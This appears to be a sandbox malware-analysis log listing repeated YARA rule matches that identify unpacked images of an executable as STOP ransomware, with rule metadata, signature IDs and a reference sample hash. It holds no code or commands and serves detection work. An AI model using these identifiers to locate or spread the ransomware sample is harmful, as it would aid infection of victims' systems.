Source: 9.0.bE5aaTiJM0.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 9.0.bE5aaTiJM0.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 12.0.bE5aaTiJM0.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 12.0.bE5aaTiJM0.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 12.0.bE5aaTiJM0.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 9.0.bE5aaTiJM0.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 9.0.bE5aaTiJM0.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 9.0.bE5aaTiJM0.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 2.0.bE5aaTiJM0.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 2.0.bE5aaTiJM0.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 2.0.bE5aaTiJM0.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 11.2.bE5aaTiJM0.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 11.2.bE5aaTiJM0.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 11.2.bE5aaTiJM0.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 11.0.bE5aaTiJM0.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 11.0.bE5aaTiJM0.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 11.0.bE5aaTiJM0.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 11.0.bE5aaTiJM0.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 11.0.bE5aaTiJM0.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 11.0.bE5aaTiJM0.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 16.0.bE5aaTiJM0.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 16.0.bE5aaTiJM0.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 16.0.bE5aaTiJM0.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 2.0.bE5aaTiJM0.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 2.0.bE5aaTiJM0.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 2.0.bE5aaTiJM0.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 2.0.bE5aaTiJM0.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 12.0.bE5aaTiJM0.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 2.0.bE5aaTiJM0.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 2.0.bE5aaTiJM0.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 2.0.bE5aaTiJM0.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 2.0.bE5aaTiJM0.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 2.0.bE5aaTiJM0.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 2.0.bE5aaTiJM0.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 12.0.bE5aaTiJM0.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 12.0.bE5aaTiJM0.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 12.0.bE5aaTiJM0.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 12.0.bE5aaTiJM0.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 11.0.bE5aaTiJM0.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 11.0.bE5aaTiJM0.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 11.0.bE5aaTiJM0.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 2.0.bE5aaTiJM0.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 2.0.bE5aaTiJM0.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 2.0.bE5aaTiJM0.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 2.0.bE5aaTiJM0.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 2.2.bE5aaTiJM0.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 2.2.bE5aaTiJM0.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 2.2.bE5aaTiJM0.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 9.0.bE5aaTiJM0.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 9.0.bE5aaTiJM0.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 9.0.bE5aaTiJM0.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 16.0.bE5aaTiJM0.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 16.0.bE5aaTiJM0.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 16.0.bE5aaTiJM0.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 16.0.bE5aaTiJM0.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 16.0.bE5aaTiJM0.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 16.0.bE5aaTiJM0.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 9.0.bE5aaTiJM0.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 9.0.bE5aaTiJM0.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 9.0.bE5aaTiJM0.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 7.2.bE5aaTiJM0.exe.42915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 7.2.bE5aaTiJM0.exe.42915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 7.2.bE5aaTiJM0.exe.42915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 9.2.bE5aaTiJM0.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 9.2.bE5aaTiJM0.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 9.2.bE5aaTiJM0.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 11.0.bE5aaTiJM0.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 11.0.bE5aaTiJM0.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 11.0.bE5aaTiJM0.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 16.0.bE5aaTiJM0.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 16.0.bE5aaTiJM0.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 16.0.bE5aaTiJM0.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 2.0.bE5aaTiJM0.exe.400000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 11.0.bE5aaTiJM0.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 11.0.bE5aaTiJM0.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 11.0.bE5aaTiJM0.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 16.0.bE5aaTiJM0.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 16.0.bE5aaTiJM0.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
